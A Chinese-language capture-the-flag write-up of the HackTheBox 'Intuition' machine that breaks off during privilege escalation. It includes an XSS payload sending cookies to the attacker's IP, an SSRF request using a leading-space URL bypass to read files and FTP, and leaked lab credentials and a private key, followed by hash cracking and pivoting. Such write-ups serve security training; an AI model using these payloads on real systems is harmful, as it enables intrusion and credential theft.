HTB Intuition

Intuition

User

nmap

┌──(kali㉿kali)-[~//machine/SeasonV/linux/iClean]
└─$ nmap -A 10.129.22.134     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 05:29 EDT
Nmap scan report for 10.129.22.134
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.65 seconds

22,80 两端口

add host 解析 comprezzor.htb

vhost - gobuster

➜  htb gobuster vhost --append-domain -u http://comprezzor.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt    --threads 300
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://comprezzor.htb
[+] Method:          GET
[+] Threads:         300
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: auth.comprezzor.htb Status: 302 [Size: 199] [--> /login]
Found: report.comprezzor.htb Status: 200 [Size: 3166]
Found: dashboard.comprezzor.htb Status: 302 [Size: 251] [--> http://auth.comprezzor.htb/login]
Progress: 114441 / 114442 (100.00%)
===============================================================
Finished
===============================================================

得到了三个新的vhost

dashboard

auth

report

进入dashboard会跳转到auth进行登录认证

使用report也需要auth进行登录认证

xss

img

先进性登录就会得到一个cookie,此时role为user

img

然后就会跳转这个页面

img

在这个页面下,有一个功能的是通报bug给开发者,这里有一个xss

img

发送这个payload获取admin的cookie

img


#payload
<img src=x οnerrοr=this.src="http://10.10.16.11"+document.cookie />
#result
user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
{"user_id": 2, "username": "adam", "role": "webdev"}|58f6f725339ce3f69d8552a10696ddebb68b2b57d2e523c08bde868d3a756db8

这串cookie 解密,我们得到一个新的role

dashboard-webdev

img

通过获取到的cookie进入dashboard,显示下面信息

这里面是一些用户进行的bug Report

img

通过点击对应的报告id,我们可以对某个报告进行具体的操作

  1. 设置为解决
  2. 提高优先级
  3. 删除

admin-cookie

这里我们可以在自己提交一个报告申请也是窃取xss的payload,然后在dashboard页面提升他的优先级

img

过一会,报告就被solved掉了,并且我们这次拿到了一个新的cookie,role是admin

user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5

{"user_id": 1, "username": "admin", "role": "admin"}|34822333d444ae0e4022f6cc679ac9d26d1d1d682c59c61cfbea29d776d589d9

img

此时再用新的cookie 访问,拿到了一个新的页面

Create-pdf-report

img

这个路由可以填入一个url,并且生成这个url页面的pdf

pdf的信息里面有一个wkhtmltopdf 0.1.2.6

google 搜索

Referer:https://www.exploit-db.com/exploits/51039

存在一个ssrf

ssrf-CVE-2022-35583

➜  Intuition cat index.html
<body>
        <iframe src="http://10.10.16.11/iframe">

</body>

发送请求

img

img

成功收到了iframe的请求

img

通过nc命令进行监听,获取到了请求头,User-agent: Python-urllib/3.11

说明该web服务是 python起的

CVE-2023-24329

Referer: https://nvd.nist.gov/vuln/detail/CVE-2023-24329

An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters.

CERT 协调中心(CERT/CC)在周五的一份公告中说:当整个 URL 都以空白字符开头时,urlparse 就会出现解析问题。“这个问题会影响主机名和方案的解析,最终导致任何拦截列表方法失效”。

LFI

img

直接用file协议读不出内容 没道理,可能有白名单校验啥的

结合上面那个url.lib的 cve ,url 前面加一个空格,可以成功读出文件

img

读取到的passwd文件,没有看见除了root用户有sh权限的用户,尝试读取/root/.ssh/id_rsa 读取失败

所以这个服务多半在docker里面

hosts

➜  Intuition cat hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.21.0.2 web.local web
172.21.0.1 ftp.local

该靶机解析域名存在一个172.21.0.1 指向ftp.local 这个域名的dns记录,172开头的地址很像docker

environ

HOSTNAME=web.local
PYTHON_PIP_VERSION=22.3.1
HOME=/root
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
PYTHON_GET_PIP_URL=https://github.com/pypa/get- pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.11.2
PYTHON_SETUPTOOLS_VERSION=65.5.1
PWD=/app
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637

通过读取/proc/self/envrion 拿到下面环境变量信息

app.py

通过读取/proc/self/cmdline 拿到了

python3  /app/code/app.py
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'

app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024
# Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt','pdf', 'docx'}
# Add more allowed file extensions
if needed app.register_blueprint(main_bp)
    app.register_blueprint(report_bp, subdomain='report')
    app.register_blueprint(auth_bp, subdomain='auth')
    app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':
    app.run(debug=False,host="0.0.0.0", port=80)

那么在子目录

/app/code/blueprints/index/index.py

/app/code/blueprints/report/report.py

/app/code/blueprints/auth/auth.py

/app/code/blueprints/dashboard/dashboard.py

还有文件,依次读取出来

dashboard.py

from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import (
    get_report_by_priority, get_report_by_id, delete_report, 
    get_all_reports, change_report_priority, resolve_report
)
import random
import os
import pdfkit
import socket
import shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetime

dashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')
pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']

@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] == 'admin':
        reports = get_report_by_priority(1)
    elif user_info['role'] == 'webdev':
        reports = get_all_reports()
    return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)

@dashboard_bp.route('/report/<report_id>', methods=['GET'])
@login_required
def get_report(report_id):
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] in ['admin', 'webdev']:
        report = get_report_by_id(report_id)
        return render_template('dashboard/report.html', report=report, user_info=user_info)
    else:
        pass

@dashboard_bp.route('/delete/<report_id>', methods=['GET'])
@login_required
def del_report(report_id):
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] in ['admin', 'webdev']:
        report = delete_report(report_id)
        return redirect(url_for('dashboard.dashboard'))
    else:
        pass

@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():
    report_id = int(request.args.get('report_id'))
    if resolve_report(report_id):
        flash('Report resolved successfully!', 'success')
    else:
        flash('Error occurred while trying to resolve!', 'error')
    return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] != ('webdev' or 'admin'):
        flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')
        return redirect(url_for('dashboard.dashboard'))
    report_id = int(request.args.get('report_id'))
    priority_level = int(request.args.get('priority_level'))
    if change_report_priority(report_id, priority_level):
        flash('Report priority level changed!', 'success')
    else:
        flash('Error occurred while trying to change the priority!', 'error')
    return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():
    global pdf_report_path
    if request.method == 'POST':
        report_url = request.form.get('report_url')
        try:
            scheme = urlparse(report_url).scheme
            hostname = urlparse(report_url).netloc
            dissallowed_schemas = ["file", "ftp", "ftps"]
            if (scheme not in dissallowed_schemas) and (
                (socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1')
                or (hostname in allowed_hostnames)
            ):
                urllib_request = urllib.request.Request(
                    report_url, 
                    headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5'})
                response = urllib.request.urlopen(urllib_request)
                html_content = response.read().decode('utf-8')
                pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000, 90000))}.pdf'
                pdfkit.from_string(html_content, pdf_filename)
                return send_file(pdf_filename, as_attachment=True)
            else:
                flash('Invalid URL', 'error')
                return render_template('dashboard/create_pdf_report.html')
        except Exception as e:
            flash('Unexpected error!', 'error')
            return render_template('dashboard/create_pdf_report.html')
    else:
        return render_template('dashboard/create_pdf_report.html')

@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():
    source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')
    current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")
    backup_filename = f'app_backup_{current_datetime}.zip'
    with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
        for root, _, files in os.walk(source_directory):
            for file in files:
                file_path = os.path.join(root, file)
                arcname = os.path.relpath(file_path, source_directory)
                zipf.write(file_path, arcname=arcname)
    try:
        ftp = FTP('ftp.local')
        ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
        ftp.cwd('/')
        with open(backup_filename, 'rb') as file:
            ftp.storbinary(f'STOR {backup_filename}', file)
        ftp.quit()
        os.remove(backup_filename)
        flash('Backup and upload completed successfully!', 'success')
    except Exception as e:
        flash(f'Error: {str(e)}', 'error')
    return redirect(url_for('dashboard.dashboard'))

ftp

通过读取dashborad.py 我们可以发现create_pdf_report 这个路由确实是有白名单的,我们传入的schema 如果存在白名单列表中 [“file”, “ftp”, “ftps”] 就会被拦截,加了一个空格就能绕过这个白名单,并且我们拿到了一个ftp服务凭据

ftp_admin:u3jai8y71s2 ,使用ssrf和这个凭据继续读取ftp里面的内容

POST /create_pdf_report HTTP/1.1
Host: dashboard.comprezzor.htb
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dashboard.comprezzor.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dashboard.comprezzor.htb/create_pdf_report
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close

report_url=%20ftp://ftp_admin:u3jai8y71s2@ftp.local

发送上面这个请求成功拿到了ftp里面的内容

img

ftp里面有三个文件 private-8297.key welcome_note.pdf welcome_note.txt

依次读取,pdf读取不出

welcome_note.txt

Dear Devs, We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your
arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely
delighted to have you on board. Here, we value talent, innovation, and teamwork, and your presence here reaffirms our
commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are
invaluable assets that will contribute significantly to our continued growth and success. As you settle into your new
role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way,
ensuring that you have the resources and knowledge necessary to thrive in your position. To facilitate your work and
access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to
access it, `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any
questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out
for assistance. In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative
thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products. Once
again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing
your exceptional contributions. Together, we will continue to achieve great things. If you have any questions or need
further information, please feel free to me at adam@comprezzor.htb. Best regards, Adam

private-8297.key

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDyIVwjHgcDQsuL69cF7BJpAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelEAAAWQ+YGB02Ep/88YxudrpfK8MjnpV50/Ew4KtvEjqe4oNL4zLr4qpRec80EVZXE2y8k7+2Kqe9+i65RDTpTv+D88M4p/x0wOSVoquD3NNKDSDCmuo0+EU+5WrZcLGTybB8rzzM+RZTm2/XqXvrPPKqtZ9jGIVWhzOirVmbr7lU9reyyotru1RrFDrKSZB4Rju/6VYMLzlQ0hG+558YqQ/VU1wrcViqMCAHoKo+kxYBhvA7Pq1XDtU1vLJRhQikg249Iu4NnPtAbS5NY4W5E0myaT6sj1Nb7GMlU9aId+PQLxwfPzHvmZArlZBl2EdwOrH4K6Acl/WX2GchiaR9Rb3vhhJ9fAP10cmKCGNRXUHgAw3LS/xXbskoaamN/Vj9CHqF1ciEswr0STURBgN4OUO7cEH6cOmv7/blKgJUM/9/lzQ0VSCoBiFkje9BEQ5UFgZod+Lw5UVW5JrkHrO4NHZmJR7epT9e+7RTOJW1rKq6xf4WmTbEMV95TKAu1BIfSPJgLAO25+RF4fGJj+A3fnIB0aDmFmT4qiizYyJUQumFsZDRxaFCWSsGaTIdZSPzXm1lB0fu3fI1gaJ+73Aat9Z4+BrwxOrQeoSjj6nAJalPmLlsKmOE+50l+kB2OBuqssg0kQHgPmiI+TMBAW71WU9ce5Qpg7udDVPrbkFPiEn7nBxOJJEKO4U29k93NK1FJNDJ8VI3qqqDy6GMziNapOlNTsWqRf5mCSWpbJu70LE32Ng5IqFGCur4y/3AuPTgzCQUt78p0NbaHTB8eyOpRwoGvKUQ10XWaFO5IVWlZ3O5Q1JB1vPkxod6YOAkwsOvp4pZK/FPi165tghhogsjbKMrkTS1+RVLhhDIraNnpay2VLMOq8U4pcVYbg0Mm0+QehFYsktA4nHEX5EmURXO2WZgQThZrvfsEK5EIPKFMM7BSiprnoapMMFzKAwAh1D8rJlDsgG/Lnw6FPnlUHoSZU4yi8oIras0zYHOQjiPToRMBQQPLcyBUpZwUv/aW8I0BuQv2bbfq5X6QW1VjanxEJQau8dOczeWfG55R9TrF+ZU3G27UZVt4mZtbwoQipK71hmKDraWEyqp+cLmvIRueIIIcWPliMi9t+c3mI897sv45XWUkBfv6kNmfs1l9BH/GRrD+JYlNFzpW1PpdbnzjNHHZ3NL4dUe3Dt5rGyQF8xpBm3m8H/0bt4AslcUL9RsyXvBK26BIdkqoZHKNyV9xlnIktlVELaZXTrhQOEGC4wqxRSz8BUZOb1/5Uw/GI/cYabJdsvb/QKxGbm5pBM7YRAgmljYExjDavczU4AEuCbdj+D8zqvuXgIFlAdgen8ppBob0/CBPqE5pTsuAOe3SdEqEvglTrb+rlgWC6wPSvaArRgthH/1jct9AgmgDd2NntTwi9iXPDqtdx7miMslOIxKJidiR5wg5n4Dl6l5cL+ZN7dT/NKdMz9orpA/UF+sBLVMyfbxoPF3Mxz1SG62lVvH45d7qUxjJe5SaVoWlICsDjogfHfZY40PbicrjPySOBdP2oa4Tg8emN1gwhXbxh1FtxCcahOrmQ5YfmJLiAFEoHqt08o00nu8ZfuXuI9liglfvSvuOGwwDcsv5aVk+DLWWUgWkjGZcwKdd9qBbOOCOKSOIgyZALdLb5kA2yJQ1aZlnEKhrdeHTe4Q+HZXuBSCbXOqpOt9KZwZuj2CB27yGnVBAP+DOYVAbbM5LZWvXP+7vb7+BWci+lAtzdlOEAI6unVp8DiIdOeprpLnTBDHCe3+k3BD6tyOR0PsxIqL9C4om4G16cOaw9LunCzj61Uyn4PfHjPlCfb0VfzrM+hkXus+m0Oq4DccwahrnEdt5qydghYpWiMgfELtQ2Z3W6XxwXArPr6+HQe9hZSjI2hjYC2OU= 
-----END OPENSSH PRIVATE KEY-----

尝试把ssh的密码去除

➜  Intuition ssh-keygen -p -f id_rsa                                                                                                                [50/296]Enter old passphrase:
Key has comment 'dev_acc@local'
Enter new passphrase (empty for no passphrase):Y27SH19HDIWD
Enter same passphrase again:
Your identification has been saved with the new passphrase.
➜  Intuition ssh-keygen -f id_rsa -y
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelE= dev_acc@local

使用 ssh-keygen 查看用户名 dev_acc@local

使用私钥登录,成功获取user

Root

user.db

img

在webf服务路径下翻文件发现了users.db

dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .table
users
sqlite> select * from users;                                                                                                                   
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
sqlite>
➜  crack hashcat -m   30120 -a 0 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt  --show
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray

成功解密

➜  crack sudo crackmapexec ssh  10.10.11.15 -u users -p 'adam gray'
SSH         10.10.11.15     22     10.10.11.15      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH         10.10.11.15     22     10.10.11.15      [-] root:adam gray Authentication failed.
SSH         10.10.11.15     22     10.10.11.15      [-] adam:adam gray Authentication failed.
SSH         10.10.11.15     22     10.10.11.15      [-] dev_acc:adam gray Authentication failed.
SSH         10.10.11.15     22     10.10.11.15      [-] lopez:adam gray Authentication failed.

这个凭证无法用来ssh登录,继续收集信息

ftp

dev_acc@intuition:/opt/ftp$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Sep 19  2023 .
drwxr-xr-x 7 root root 4096 Apr 10 08:21 ..
drwxrwx--- 3 root adam 4096 Apr 10 08:21 adam
drwxrwx--- 2 root root 4096 May  3 04:55 ftp_admin

ftp 目录在这里有一个属于adam用户的目录,说明那个凭证可能是用来登录里的

dev_acc@intuition:/opt/ftp$ ftp 0 21
Connected to 0.
220 pyftpdlib 1.5.7 ready.
Name (0:dev_acc): adam                                                                                                                          331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||39291|).
125 Data connection already open. Transfer starting.
drwxr-xr-x   3 root     1002         4096 Apr 10 08:21 backup
226 Transfer complete.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||48205|).
150 File status okay. About to open data connection.
drwxr-xr-x   2 root     1002         4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||34593|).
150 File status okay. About to open data connection.
-rwxr-xr-x   1 root     1002          318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x   1 root     1002        16744 Oct 19  2023 runner1
-rw-r--r--   1 root     1002         3815 Oct 19  2023 runner1.c
226 Transfer complete.
ftp> lpwd
Local directory: /opt/ftp
ftp> lcd /home/dev_acc
Local directory now: /home/dev_acc
ftp> get *
local: user.txt remote: *
ftp: Can't access `user.txt': Operation not permitted
ftp> help
Commands may be abbreviated.  Commands are:

!               close           fget            lpage           modtime         pdir            rcvbuf          sendport        type
$               cr              form            lpwd            more            pls             recv            set             umask
account         debug           ftp             ls              mput            pmlsd           reget           site            unset
append          delete          gate            macdef          mreget          preserve        remopts         size            usage
ascii           dir             get             mdelete         msend           progress        rename          sndbuf          user
bell            disconnect      glob            mdir            newer           prompt          reset           status          verbose
binary          edit            hash            mget            nlist           proxy           restart         struct          xferbuf
bye             epsv            help            mkdir           nmap            put             rhelp           sunique         ?
case            epsv4           idle            mls             ntrans          pwd             rmdir           system
cd              epsv6           image           mlsd            open            quit            rstatus         tenex
cdup            exit            lcd             mlst            page            quote           runique         throttle
chmod           features        less            mode            passive         rate            send            trace
ftp> get  run-tests.sh
local: run-tests.sh remote: run-tests.sh
229 Entering extended passive mode (|||44807|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************|   318      594.91 KiB/s    00:00 ETA
226 Transfer complete.
318 bytes received in 00:00 (498.46 KiB/s)
ftp> get runner1
local: runner1 remote: runner1
229 Entering extended passive mode (|||45973|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************| 16744       18.91 MiB/s    00:00 ETA
226 Transfer complete.
16744 bytes received in 00:00 (16.70 MiB/s)
ftp> get runner1.crunner1.c
local: runner1.crunner1.c remote: runner1.crunner1.c
229 Entering extended passive mode (|||36465|).
550 No such file or directory.
ftp> get runner1.c
local: runner1.c remote: runner1.c
229 Entering extended passive mode (|||51053|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************|  3815       16.53 MiB/s    00:00 ETA
226 Transfer complete.
3815 bytes received in 00:00 (11.40 MiB/s)
ftp>

有几个这样的文件,我们把他下载下来

大概看了一下是一个控制一个叫playbook服务的脚本

暂时想不到如何利用,感觉有命令注入

netstat

img

img

dev_acc@intuition:/tmp$ ./fscan -h  172.21.0.4/24  -p 80,4444,5000,8080,38843

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.21.0.2      is alive
(icmp) Target 172.21.0.4      is alive
(icmp) Target 172.21.0.1      is alive
[*] Icmp alive hosts len is: 3
172.21.0.2:80 open
172.21.0.1:80 open
[*] alive ports len is: 3
start vulscan
172.21.0.4:4444 open
[*] WebTitle http://172.21.0.1         code:301 len:178    title:301 Moved Permanently 跳转url: http://comprezzor.htb/
[*] WebTitle http://172.21.0.2         code:404 len:207    title:404 Not Found
[*] WebTitle http://comprezzor.htb/    code:200 len:3408   title:Comprezzor
[*] WebTitle http://172.21.0.4:4444    code:302 len:0      title:None 跳转url: http://172.21.0.4:4444/ui/
[*] WebTitle http://172.21.0.4:4444/ui/ code:200 len:486    title:Selenium Grid
已完成 3/3
[*] 扫描结束,耗时: 11.486285763s

4444端口有服务

上chisel 代理一下流量

img

进去可以vnc,但是需要密码,我们不知道密码

suricata.log

dev_acc@intuition:/tmp$ find / -name *.log 2>/dev/null
/var/log/kern.log                                                                                                                                                                           /var/log/auth.log
/var/log/vmware-network.5.log
/var/log/vmware-vmsvc-root.1.log
/var/log/vmware-network.3.log
/var/log/vmware-network.6.log
/var/log/laurel/audit.log
/var/log/vmware-network.2.log
/var/log/vmware-network.log
/var/log/vmware-vmtoolsd-root.log                                                                                                                                                           /var/log/vmware-network.1.log
/var/log/vmware-network.7.log                                                                                                                                                               /var/log/vmware-vmsvc-root.log
/var/log/vmware-vmsvc-root.3.log
/var/log/suricata/stats.log
/var/log/suricata/suricata.log
/var/log/suricata/fast.log
/var/log/vmware-vmsvc-root.2.log
/var/log/nginx/error.log
/var/log/nginx/access.log
/var/log/vmware-network.4.log
/usr/share/doc/python3.10/pybench.log

查找有权限读的log文件,发现了一个不常见的suricata

Suricata 是一个高性能的、开源的网络分析和威胁检测引擎。它可以用于实时入侵检测 (IDS)、内网安全监视 (IPS)、网络安全监测 (NSM) 和离线 pcap 处理。
Suricata 的主要特性包括:
协议识别:Suricata 可以自动识别多种网络协议,包括但不限于HTTP,FTP,SMB等,这对于检测各种威胁移动非常有用。
流跟踪:Suricata 能够在网络流量中跟踪并识别单独的流对话,使其能够更好地理解流量模式以及进行更深入的威胁检测。
基于规则的威胁检测:Suricata 支持强大的威胁检测规则,允许你定制各种规则来捕获和警告各种网络威胁。
多线程处理能力:为了提高性能,Suricata支持多线程处理,可充分发挥现代多核处理器的性能。
HTTP和TLS威胁检测:Suricata包含HTTP和TLS协议的威胁检测功能,可以监测这些协议中的威胁行为。
Suricata 还有许多其他的特性,包括文件和数据检测,TLS/SSL加密的检测等,使其成为一个强大的网络安全监控工具。更多信息可以在它的 官方网站 上找到。

那么这个ids会捕获流量,说不定捕获到了和用户凭证有关的流量,直接匹配和用户有关的信息

adam、lopze

dev_acc@intuition:/var/log/suricata$ ls -al
total 42652
drwxr-xr-x  2 root root       4096 Apr 29 18:27 .
drwxrwxr-x 12 root syslog     4096 May  3 06:21 ..
-rw-r--r--  1 root root   18143731 May  3 06:45 eve.json
-rw-r--r--  1 root root          0 Apr 29 18:27 eve.json.1
-rw-r--r--  1 root root    5760612 Oct 26  2023 eve.json.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 eve.json.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 eve.json.1-2024042918.backup
-rw-r--r--  1 root root     214743 Oct 28  2023 eve.json.4.gz
-rw-r--r--  1 root root    5050595 Oct 14  2023 eve.json.6.gz
-rw-r--r--  1 root root     972578 Sep 29  2023 eve.json.7.gz
-rw-r--r--  1 root root          0 Apr 29 18:27 fast.log
-rw-r--r--  1 root root          0 Apr 29 18:27 fast.log.1
-rw-r--r--  1 root root          0 Oct 26  2023 fast.log.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 fast.log.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 fast.log.1-2024042918.backup
-rw-r--r--  1 root root         20 Oct 26  2023 fast.log.4.gz
